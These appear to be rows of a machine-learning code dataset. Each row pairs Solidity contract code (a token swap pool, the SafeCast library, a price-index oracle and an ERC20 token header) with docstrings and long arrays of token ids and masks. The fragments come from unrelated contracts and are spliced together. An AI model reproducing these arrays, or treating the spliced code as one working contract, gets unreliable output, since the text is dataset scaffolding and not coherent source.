* based on the pool ratio. After swap successfully, the same account can not swap the same pool again.
**/
function swap(
bytes32 id,
bytes32 verification,
uint256 exchange_addr_i,
uint128 input_total,
bytes32[] memory data
)
public payable returns (uint256 swapped) {
uint128 from_value = input_total;
Pool storage pool = pool_by_id[id];
Packed1 memory packed1 = pool.packed1;
Packed2 memory packed2 = pool.packed2;
Packed3 memory packed3 = pool.packed3;
{
bool qualified;
string memory errorMsg;
(qualified, errorMsg) = IQLF(packed1.qualification_addr).logQualified(msg.sender, data);
require(qualified, errorMsg);
}
require (packed3.start_time + base_time < block.timestamp, "Not started.");
require (packed3.end_time + base_time > block.timestamp, "Expired.");
// sha3(sha3(passowrd)[:40] + msg.sender) so that the raw password will never appear in the contract
require (
verification == keccak256(abi.encodePacked(uint256(packed1.password), msg.sender)),
'Wrong Password'
);
// revert if the pool is empty
require (packed2.total_tokens > 0, "Out of Stock");
address exchange_addr = pool.exchange_addrs[exchange_addr_i];
uint256 ratioA = pool.ratios[exchange_addr_i*2];
uint256 ratioB = pool.ratios[exchange_addr_i*2 + 1];
// check if the input is enough for the desired transfer
if (exchange_addr == DEFAULT_ADDRESS) {
require(msg.value == from_value, 'No enough ether.');
}
uint128 swapped_tokens = SafeCast.toUint128(SafeMath.div(SafeMath.mul(from_value, ratioB), ratioA));
require(swapped_tokens > 0, "Better not draw water with a sieve");
if (swapped_tokens > packed2.limit) {
// don't be greedy - you can only get at most limit tokens
swapped_tokens = packed2.limit;
// Update from_value
from_value = SafeCast.toUint128(SafeMath.div(SafeMath.mul(packed2.limit, ratioA), ratioB));
} else if (swapped_tokens > packed2.total_tokens ) {
// if the left tokens are not enough
swapped_tokens = packed2.total_tokens;
// Update from_value
from_value = SafeCast.toUint128(SafeMath.div(SafeMath.mul(packed2.total_tokens , ratioA), ratioB));
// return the eth
if (exchange_addr == DEFAULT_ADDRESS)
payable(msg.sender).transfer(msg.value - from_value);
}
// make sure again
require(swapped_tokens <= packed2.limit);
// update exchanged
pool.exchanged_tokens[exchange_addr_i] = SafeCast.toUint128(
SafeMath.add(
pool.exchanged_tokens[exchange_addr_i],
from_value
)
);
// penalize greedy attackers by placing duplication check at the very last
require (pool.swapped_map[msg.sender] == 0, "Already swapped");
// update the remaining tokens and swapped token mapping
pool.packed2.total_tokens = SafeCast.toUint128(SafeMath.sub(packed2.total_tokens, swapped_tokens));
pool.swapped_map[msg.sender] = swapped_tokens;
// transfer the token after state changing
// ETH comes with the tx, but ERC20 does not - INPUT
if (exchange_addr != DEFAULT_ADDRESS) {
IERC20(exchange_addr).safeTransferFrom(msg.sender, address(this), from_value);
}
{
// Solidity has stack depth limitation: "Stack too deep, try removing local variables"
// add local variables as a workaround
// Swap success event
bytes32 _id = id;
uint128 _input_total = input_total;
emit SwapSuccess(
_id,
msg.sender,
exchange_addr,
packed3.token_address,
from_value,
swapped_tokens,
_input_total
);
}
// if unlock_time == 0, transfer the swapped tokens to the recipient address (msg.sender) - OUTPUT
// if not, claim() needs to be called to get the token
if (packed3.unlock_time == 0) {
IERC20(packed3.token_address).safeTransfer(msg.sender, swapped_tokens);
emit ClaimSuccess(id, msg.sender, block.timestamp, swapped_tokens, packed3.token_address);
}
return swapped_tokens;
}
/**
* check_availability() returns a bunch of pool info given a pool id
* id swap pool id
* this function returns 1. exchange_addrs that can be used to determine the index
* 2. remaining target tokens
* 3. if started
* 4. if ended
* 5. swapped amount of the query address
* 5. exchanged amount of each token
**/
function check_availability (bytes32 id)
external
view
returns (
address[] memory exchange_addrs,
uint256 remaining,
bool started,
bool expired,
bool unlocked,
uint256 unlock_time,
uint256 swapped,
uint128[] memory exchanged_tokens
)
{
Pool storage pool = pool_by_id[id];
Packed3 memory packed3 = pool.packed3;
return (
pool.exchange_addrs, // exchange_addrs 0x0 means destructed
pool.packed2.total_tokens, // remaining
block.timestamp > packed3.start_time + base_time, // started
block.timestamp > packed3.end_time + base_time, // expired
block.timestamp > packed3.unlock_time + base_time, // unlocked
packed3.unlock_time + base_time, // unlock_time
pool.swapped_map[msg.sender], // swapped number
pool.exchanged_tokens // exchanged tokens
);
}
function claim(bytes32[] calldata ito_ids) external {
for (uint256 i = 0; i < ito_ids.length; i++) {
Pool storage pool = pool_by_id[ito_ids[i]];
Packed3 memory packed3 = pool.packed3;
if (packed3.unlock_time == 0)
continue;
if (packed3.unlock_time + base_time > block.timestamp)
continue;
uint256 claimed_amount = pool.swapped_map[msg.sender];
if (claimed_amount == 0)
continue;
pool.swapped_map[msg.sender] = 0;
IERC20(packed3.token_address).safeTransfer(msg.sender, claimed_amount);
emit ClaimSuccess(ito_ids[i], msg.sender, block.timestamp, claimed_amount, packed3.token_address);
}
}
function setUnlockTime(bytes32 id, uint32 _unlock_time) public {
Pool storage pool = pool_by_id[id];
uint32 packed3_unlock_time = pool.packed3.unlock_time;
require(pool.creator == msg.sender, "Pool Creator Only");
require(block.timestamp < (packed3_unlock_time + base_time), "Too Late");
require(packed3_unlock_time != 0, "Not eligible when unlock_time is 0");
require(_unlock_time != 0, "Cannot set to 0");
pool.packed3.unlock_time = _unlock_time;
}
/**
* destruct() destructs the given pool given the pool id
* id swap pool id
* this function can only be called by the pool creator. after validation, it transfers all the remaining token
* (if any) and all the swapped tokens to the pool creator. it will then destruct the pool by reseting almost
* all the variables to zero to get the gas refund.
* note that this function may not work if a pool needs to transfer over ~200 tokens back to the address due to
* the block gas limit. we have another function withdraw() to help the pool creator to withdraw a single token
**/
function destruct (bytes32 id) public {
Pool storage pool = pool_by_id[id];
Packed3 memory packed3 = pool.packed3;
require(msg.sender == pool.creator, "Only the pool creator can destruct.");
uint256 expiration = pool.packed3.end_time + base_time;
uint256 remaining_tokens = pool.packed2.total_tokens;
// only after expiration or the pool is empty
require(expiration <= block.timestamp || remaining_tokens == 0, "Not expired yet");
// if any left in the pool
if (remaining_tokens != 0) {
IERC20(packed3.token_address).safeTransfer(msg.sender, remaining_tokens);
}
// transfer the swapped tokens accordingly
// note this loop may exceed the block gas limit so if >200 exchange_addrs this may not work
for (uint256 i = 0; i < pool.exchange_addrs.length; i++) {
if (pool.exchanged_tokens[i] > 0) {
// ERC20
if (pool.exchange_addrs[i] != DEFAULT_ADDRESS)
IERC20(pool.exchange_addrs[i]).safeTransfer(msg.sender, pool.exchanged_tokens[i]);
// ETH
else
payable(msg.sender).transfer(pool.exchanged_tokens[i]);
}
}
emit DestructSuccess(id, packed3.token_address, remaining_tokens, pool.exchanged_tokens);
// Gas Refund
pool.packed1 = Packed1(DEFAULT_ADDRESS, 0);
pool.packed2 = Packed2(0, 0);
for (uint256 i = 0; i < pool.exchange_addrs.length; i++) {
pool.exchange_addrs[i] = DEFAULT_ADDRESS;
pool.exchanged_tokens[i] = 0;
pool.ratios[i*2] = 0;
pool.ratios[i*2+1] = 0;
}
}
/**
* withdraw() transfers out a single token after a pool is expired or empty
* id swap pool id
* addr_i withdraw token index
* this function can only be called by the pool creator. after validation, it transfers the addr_i th token
* out to the pool creator address.
**/
function withdraw (bytes32 id, uint256 addr_i) public {
Pool storage pool = pool_by_id[id];
require(msg.sender == pool.creator, "Only the pool creator can withdraw.");
uint256 withdraw_balance = pool.exchanged_tokens[addr_i];
require(withdraw_balance > 0, "None of this token left");
uint256 expiration = pool.packed3.end_time + base_time;
uint256 remaining_tokens = pool.packed2.total_tokens;
// only after expiration or the pool is empty
require(expiration <= block.timestamp || remaining_tokens == 0, "Not expired yet");
address token_address = pool.exchange_addrs[addr_i];
// clear the record
pool.exchanged_tokens[addr_i] = 0;
// ERC20
if (token_address != DEFAULT_ADDRESS)
IERC20(token_address).safeTransfer(msg.sender, withdraw_balance);
// ETH
else
payable(msg.sender).transfer(withdraw_balance);
emit WithdrawSuccess(id, token_address, withdraw_balance);
}
} | * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow checks. Downcasting from uint256/int256 in Solidity does not revert on overflow. This can easily result in undesired exploitation or bugs, since developers usually assume that overflows raise errors. `SafeCast` restores this intuition by reverting the transaction when such an operation overflows. Using this library instead of the unchecked operations eliminates an entire class of bugs, so it's recommended to use it always. Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing all math on `uint256` and `int256` and then downcasting./ | library SafeCast {
function toUint128(uint256 value) internal pure returns (uint128) {
require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits");
return uint128(value);
}
function toUint64(uint256 value) internal pure returns (uint64) {
require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits");
return uint64(value);
}
function toUint32(uint256 value) internal pure returns (uint32) {
require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits");
return uint32(value);
}
function toUint16(uint256 value) internal pure returns (uint16) {
require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits");
return uint16(value);
}
function toUint8(uint256 value) internal pure returns (uint8) {
require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits");
return uint8(value);
}
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
function toInt128(int256 value) internal pure returns (int128) {
require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits");
return int128(value);
}
function toInt64(int256 value) internal pure returns (int64) {
require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits");
return int64(value);
}
function toInt32(int256 value) internal pure returns (int32) {
require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits");
return int32(value);
}
function toInt16(int256 value) internal pure returns (int16) {
require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits");
return int16(value);
}
function toInt8(int256 value) internal pure returns (int8) {
require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits");
return int8(value);
}
function toInt256(uint256 value) internal pure returns (int256) {
require(value < 2**255, "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
| 5,861,313 | [
1,
24114,
1879,
348,
7953,
560,
1807,
2254,
5619,
19,
474,
5619,
27660,
12213,
598,
3096,
9391,
4271,
18,
10077,
4155,
310,
628,
2254,
5034,
19,
474,
5034,
316,
348,
7953,
560,
1552,
486,
15226,
603,
9391,
18,
1220,
848,
17997,
563,
316,
640,
30458,
15233,
8773,
578,
22398,
16,
3241,
21701,
11234,
6750,
716,
9391,
87,
1002,
1334,
18,
1375,
9890,
9735,
68,
3127,
3485,
333,
509,
89,
608,
635,
15226,
310,
326,
2492,
1347,
4123,
392,
1674,
9391,
87,
18,
11637,
333,
5313,
3560,
434,
326,
22893,
5295,
19229,
4174,
392,
7278,
667,
434,
22398,
16,
1427,
518,
1807,
14553,
358,
999,
518,
3712,
18,
4480,
506,
8224,
598,
288,
9890,
10477,
97,
471,
288,
12294,
9890,
10477,
97,
358,
2133,
518,
358,
10648,
1953,
16,
635,
14928,
777,
4233,
603,
1375,
11890,
5034,
68,
471,
1375,
474,
5034,
68,
471,
1508,
2588,
4155,
310,
18,
19,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
12083,
14060,
9735,
288,
203,
565,
445,
358,
5487,
10392,
12,
11890,
5034,
460,
13,
2713,
16618,
1135,
261,
11890,
10392,
13,
288,
203,
3639,
2583,
12,
1132,
411,
576,
636,
10392,
16,
315,
9890,
9735,
30,
460,
3302,
3730,
88,
4845,
316,
8038,
4125,
8863,
203,
3639,
327,
2254,
10392,
12,
1132,
1769,
203,
565,
289,
203,
203,
565,
445,
358,
5487,
1105,
12,
11890,
5034,
460,
13,
2713,
16618,
1135,
261,
11890,
1105,
13,
288,
203,
3639,
2583,
12,
1132,
411,
576,
636,
1105,
16,
315,
9890,
9735,
30,
460,
3302,
3730,
88,
4845,
316,
5178,
4125,
8863,
203,
3639,
327,
2254,
1105,
12,
1132,
1769,
203,
565,
289,
203,
203,
565,
445,
358,
5487,
1578,
12,
11890,
5034,
460,
13,
2713,
16618,
1135,
261,
11890,
1578,
13,
288,
203,
3639,
2583,
12,
1132,
411,
576,
636,
1578,
16,
315,
9890,
9735,
30,
460,
3302,
3730,
88,
4845,
316,
3847,
4125,
8863,
203,
3639,
327,
2254,
1578,
12,
1132,
1769,
203,
565,
289,
203,
203,
565,
445,
358,
5487,
2313,
12,
11890,
5034,
460,
13,
2713,
16618,
1135,
261,
11890,
2313,
13,
288,
203,
3639,
2583,
12,
1132,
411,
576,
636,
2313,
16,
315,
9890,
9735,
30,
460,
3302,
3730,
88,
4845,
316,
2872,
4125,
8863,
203,
3639,
327,
2254,
2313,
12,
1132,
1769,
203,
565,
289,
203,
203,
565,
445,
358,
5487,
28,
12,
11890,
5034,
460,
13,
2713,
16618,
1135,
261,
11890,
28,
13,
288,
203,
3639,
2583,
12,
1132,
411,
576,
636,
28,
16,
315,
9890,
9735,
30,
460,
2
] |
/*
Copyright 2019 Novera Capital Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
pragma solidity ^0.4.24;
import "./SafeMath.sol"; //openzeppelin
import "./Ownable.sol"; //openzeppelin
import "./Fund.sol";
/// @title Novera Price Index
/// @author Jose Miguel Herrera
/// @notice You can use this contract to create a price oracle for a financial asset. Prices come from N registered price agents and averaged.
/// @notice You can use this contract independently, or connected to a "fund" which reads the price and has an end price, at which the fund ends.
/// @dev With mythX static analysis, you get warning SWC-128 (DoS With Block Gas Limit) due to the looping over connectedFundAddresses in reportPrice(). Since adding new funds is not a user facing function, there is no DoS threat...
/// @dev ... However, this means that there IS an upper ceiling on how many funds can be connected to one price index.
contract PriceIndex is Ownable {
string public baseTicker;
string public quoteTicker;
mapping (address => FundInfo) public funds;
address[] internal connectedFundAddresses;
mapping (address => bool) internal isConnectedFund;
uint256 public numberOfConnectedFunds;
using SafeMath for uint;
uint256 public masterPrice;
address[] internal registeredPriceAgents;
uint256 public numberOfRegisteredPriceAgents;
uint256 public maxNumberPriceAgents;
uint256 public decimals;
mapping (address => bool) internal isRegisteredPriceAgent;
mapping (address => priceReport) public PriceAgentReports;
event LogPriceUpdate(uint256 _newPrice, uint256 timestamp);
event changeInPriceAgents(uint _newNumberOfPriceAgents,address changer);
event fundEndAlert(uint256 timestamp, uint256 endPrice, address fundAddress);
/// @notice Creates a PriceIndex instance.
/// @dev In the future, both the asset name and the currency used to track it will be included as parameters.
/// @param initialPrice The initial price of the asset.
/// @param initialPriceSource Where initialPrice is coming from.
/// @param _maxNumberPriceAgents The max nnumber of price agents this price index will allow.
/// @param _decimals The decimal precision used to represent the price of the asset.
constructor(uint256 initialPrice, string initialPriceSource, uint _maxNumberPriceAgents,uint256 _decimals, string _baseTicker, string _quoteTicker) public {
numberOfRegisteredPriceAgents=0;
maxNumberPriceAgents=_maxNumberPriceAgents;
registerPriceAgent(msg.sender);
PriceAgentReports[msg.sender]=priceReport(initialPrice,now,initialPriceSource);
masterPrice=initialPrice;
numberOfConnectedFunds=0;
decimals=_decimals;
baseTicker=_baseTicker;
quoteTicker=_quoteTicker;
emit LogPriceUpdate(masterPrice,now);
}
/// @notice Connects a Fund to this price index - the fund starts tracking it.
/// @notice Only callable by the contract owner.
/// @dev Right now there's no way to disconnect a fund, this feature could be added in the future.
/// @param fundAddress The address of the fund being created.
function connectFund(address fundAddress) public onlyOwner {
require(fundAddress!=0);
require(!isConnectedFund[fundAddress]);
require(Fund(fundAddress).decimals()==decimals);
isConnectedFund[fundAddress]=true;
connectedFundAddresses.push(fundAddress);
funds[fundAddress]=FundInfo(Fund(fundAddress),false,0,0);
funds[fundAddress].strikePrice=funds[fundAddress].fund.strikePrice();
numberOfConnectedFunds=numberOfConnectedFunds.add(1);
//what if new connected fund here has reached max conditions already??
if(reachedMaxConditions(fundAddress)){
handleMaxConditionForFund(fundAddress);
}
}
/// @notice Retrieves the address of one of the connected funds.
/// @param index The index of the Ith connected fund.
/// @return The address of the Ith connected fund.
function getConnectedFundAddress(uint index) view public returns(address) {
if(numberOfConnectedFunds==0 || index>connectedFundAddresses.length.sub(1)){
return 0;
}else{
return connectedFundAddresses[index];
}
}
/// @notice Retrieves the address of one of the registered price agents.
/// @param index The index of the Ith registered agent.
/// @return The address of the Ith registered agent.
function getRegisteredPriceAgent(uint index) view public returns(address) {
if(numberOfRegisteredPriceAgents==0 || index>registeredPriceAgents.length.sub(1)){
return 0;
}else{
return registeredPriceAgents[index];
}
}
/// @notice Retrieves the current price of the tracked asset.
/// @dev Designed for the use of a Fund contract (external requests), but can be used publically (would be the same as calling masterPrice())
/// @return If called by Fund that has reached its end conditions, then returns the price that cuased the fund to end. Otherwise, returns CURRENT the price of the asset.
function getPrice() view public returns(uint256){
//if I have a fund connected that has reached its end conditions, give it end price
if(isConnectedFund[msg.sender] && funds[msg.sender].endPriceConditionsReached ){
return funds[msg.sender].endPrice;
}else{
return masterPrice;
}
}
/// @notice Updates current price of the tracked asset and handles the ending of funds.
/// @param reportedPrice The reported price.
/// @param reportedPriceSource Where reportedPrice comes from.
/// @dev Currently averages the prices, future improvement to moving averages possible.
/// @dev Analysis needs to be done on this function to see how gas usage increases with the growth of more connected fund addresses, as it may reach a point of self-inflicted DoS.
/// @dev The above is an argument for having the ability to DISCONNECT funds.
function reportPrice(uint256 reportedPrice,string reportedPriceSource ) public {
require(isRegisteredPriceAgent[msg.sender]); //needs to be registered price agent
PriceAgentReports[msg.sender]=priceReport(reportedPrice,now,reportedPriceSource);
aggregatePrice();
checkAndUpdateFunds();
}
/// @dev Internal function used to check if the current price, newly updated, causes the end of a fund.
/// @param fundAddress The address of the fund that is being checked.
/// @return true if the current price has caused the fund to reach its max/end conditions. False otherwise.
function reachedMaxConditions(address fundAddress) internal view returns(bool){
require(isConnectedFund[fundAddress]);
//modified so that price index asks a particular fund if it has reached its custom max conditions.
return funds[fundAddress].fund.wouldReachEndConditions(masterPrice);
}
/// @dev Internal function used to handle when a price update causes the end of a fund.
/// @param fundAddress The address of the fund that has ended due to a price update
function handleMaxConditionForFund(address fundAddress) internal{
emit fundEndAlert(now,masterPrice,fundAddress);
funds[fundAddress].endPriceConditionsReached=true;
funds[fundAddress].endPrice=masterPrice;
}
/// @notice Checks if a connected fund has ended.
/// @param fundAddress The address of the fund that is going to be checked.
/// @return true if the fund has ended. false otherwise.
function hasFundEnded(address fundAddress) public view returns(bool){
require(isConnectedFund[fundAddress]);
return funds[fundAddress].endPriceConditionsReached;
}
/// @notice Retrieves the price that caused a fund to end.
/// @param fundAddress The address of the fund that ended.
/// @return the price that caused the fund to end.
function getEndPrice(address fundAddress) public view returns(uint256){
require(hasFundEnded(fundAddress));
return funds[fundAddress].endPrice;
}
/// @dev Only callable by a Fund contract (external request) that has reached its end conditions/has ended.
/// @dev Resets the end status of a fun and retreives the new strike price.
function resetFundStatus() public {
require(isConnectedFund[msg.sender] && funds[msg.sender].endPriceConditionsReached);
funds[msg.sender].endPriceConditionsReached=false;
funds[msg.sender].endPrice=0;
funds[msg.sender].strikePrice=funds[msg.sender].fund.strikePrice();
}
/// @dev Internal function that retrieves all current price reports and averages them, updating the master price.
/// @dev This is where moving average functionality could be added instead of simple averaging.
/// @dev Warning: does not work if there are no valid (have reported a price) reports/agents. This is enforced in the removal of agents.
function aggregatePrice() private {
uint256 aggPrice=0;
uint256 numValidPrices=0;
for (uint i=0; i<registeredPriceAgents.length; i=i.add(1)) {
if(registeredPriceAgents[i]!=0 && PriceAgentReports[registeredPriceAgents[i]].timestamp!=0){
numValidPrices=numValidPrices.add(1);
aggPrice=aggPrice.add(PriceAgentReports[registeredPriceAgents[i]].price);
}
}
if(numValidPrices==0){ //THIS SHOULD NEVER HAPPEN, AND IS GUARANTEED BY THE REMOVE PRICE AGENT FUNC, THERE SHALL BE ALWAYS 1 AGENT
revert("Price cannot be aggregated because there are no valid prices.");
}else{
aggPrice = aggPrice.div(numValidPrices);
}
emit LogPriceUpdate(aggPrice,now);
masterPrice=aggPrice;
}
/// @dev Internal function that checks if the previous price update would end a fund, and triggers the end process
function checkAndUpdateFunds() private {
for (uint i=0; i<connectedFundAddresses.length; i=i.add(1)) {
if(isConnectedFund[connectedFundAddresses[i]] && !hasFundEnded(connectedFundAddresses[i]) && reachedMaxConditions(connectedFundAddresses[i])){
handleMaxConditionForFund(connectedFundAddresses[i]);
}
}
}
/// @notice Registers an address as a registered price agent for this price index.
/// @notice Only callable by the contract owner.
/// @param newAgent The address of the price agent to be registered.
function registerPriceAgent(address newAgent) public onlyOwner {
require(!isRegisteredPriceAgent[newAgent]); //prevent double registrations
require(numberOfRegisteredPriceAgents<maxNumberPriceAgents); //no more than max
isRegisteredPriceAgent[newAgent]=true;
bool foundEmptySlot=false;
for (uint i=0; i<registeredPriceAgents.length; i=i.add(1)) {
if(registeredPriceAgents[i]==0){
registeredPriceAgents[i]=newAgent; //add agent in first free slot
foundEmptySlot=true;
break;
}
}
if(!foundEmptySlot){
registeredPriceAgents.push(newAgent);
}
numberOfRegisteredPriceAgents=numberOfRegisteredPriceAgents.add(1);
emit changeInPriceAgents(numberOfRegisteredPriceAgents,msg.sender);
}
/// @notice Removes an address as a registered price agent for this price index. Also removes the agent's price report, recalculating the master price.
/// @notice Only callable by the contract owner.
/// @dev Warning: you cannot remove the LAST valid (has reported a price) price reporting agent.
/// @param agentToRemove The address of the price agent to be removed.
function removePriceAgent(address agentToRemove) public onlyOwner {
//require(agentToRemove!=owner()); //cannot remove contract owner (note: this is something that needs to be further discussed)
//require(numberOfRegisteredPriceAgents>1);
//above were previous attempts to prevent a bad state when the last valid agent was deleted, but now it's being done in aggregatePrice
isRegisteredPriceAgent[agentToRemove]=false;
delete PriceAgentReports[agentToRemove];
for (uint i=0; i<registeredPriceAgents.length; i=i.add(1)) {
if(registeredPriceAgents[i]==agentToRemove){
delete registeredPriceAgents[i]; //leaves a gap of 0
}
}
aggregatePrice();
numberOfRegisteredPriceAgents=numberOfRegisteredPriceAgents.sub(1);
emit changeInPriceAgents(numberOfRegisteredPriceAgents,msg.sender);
}
struct priceReport {
uint256 price;
uint256 timestamp;
string source;
}
struct FundInfo{
Fund fund;
bool endPriceConditionsReached;
uint256 endPrice;
uint256 strikePrice;
}
} | @notice Connects a Fund to this price index - the fund starts tracking it. @notice Only callable by the contract owner. @dev Right now there's no way to disconnect a fund, this feature could be added in the future. @param fundAddress The address of the fund being created.what if new connected fund here has reached max conditions already?? | function connectFund(address fundAddress) public onlyOwner {
require(fundAddress!=0);
require(!isConnectedFund[fundAddress]);
require(Fund(fundAddress).decimals()==decimals);
isConnectedFund[fundAddress]=true;
connectedFundAddresses.push(fundAddress);
funds[fundAddress]=FundInfo(Fund(fundAddress),false,0,0);
funds[fundAddress].strikePrice=funds[fundAddress].fund.strikePrice();
numberOfConnectedFunds=numberOfConnectedFunds.add(1);
if(reachedMaxConditions(fundAddress)){
handleMaxConditionForFund(fundAddress);
}
}
| 15,789,447 | [
1,
21500,
279,
478,
1074,
358,
333,
6205,
770,
300,
326,
284,
1074,
2542,
11093,
518,
18,
225,
5098,
4140,
635,
326,
6835,
3410,
18,
225,
13009,
2037,
1915,
1807,
1158,
4031,
358,
9479,
279,
284,
1074,
16,
333,
2572,
3377,
506,
3096,
316,
326,
3563,
18,
225,
284,
1074,
1887,
1021,
1758,
434,
326,
284,
1074,
3832,
2522,
18,
23770,
309,
394,
5840,
284,
1074,
2674,
711,
8675,
943,
4636,
1818,
14646,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
3077,
42,
1074,
12,
2867,
284,
1074,
1887,
13,
1071,
1338,
5541,
288,
203,
3639,
2583,
12,
74,
1074,
1887,
5,
33,
20,
1769,
203,
3639,
2583,
12,
5,
291,
8932,
42,
1074,
63,
74,
1074,
1887,
19226,
203,
3639,
2583,
12,
42,
1074,
12,
74,
1074,
1887,
2934,
31734,
1435,
631,
31734,
1769,
203,
203,
3639,
20854,
42,
1074,
63,
74,
1074,
1887,
65,
33,
3767,
31,
203,
540,
203,
3639,
5840,
42,
1074,
7148,
18,
6206,
12,
74,
1074,
1887,
1769,
203,
203,
3639,
284,
19156,
63,
74,
1074,
1887,
65,
33,
42,
1074,
966,
12,
42,
1074,
12,
74,
1074,
1887,
3631,
5743,
16,
20,
16,
20,
1769,
203,
3639,
284,
19156,
63,
74,
1074,
1887,
8009,
701,
2547,
5147,
33,
74,
19156,
63,
74,
1074,
1887,
8009,
74,
1074,
18,
701,
2547,
5147,
5621,
203,
540,
203,
3639,
7922,
8932,
42,
19156,
33,
2696,
951,
8932,
42,
19156,
18,
1289,
12,
21,
1769,
203,
540,
203,
3639,
309,
12,
266,
2004,
2747,
8545,
12,
74,
1074,
1887,
3719,
95,
203,
5411,
1640,
2747,
3418,
1290,
42,
1074,
12,
74,
1074,
1887,
1769,
203,
3639,
289,
203,
540,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// Crypto Smart Beta token contract
//
// Deployed to : 0xF7f522563d76C20fD88BE26771c880bF57BF7902
// Symbol : BETA
// Name : Crypto Smart Beta
// Total supply: 100000000000
// Decimals : 18
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard Interface
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
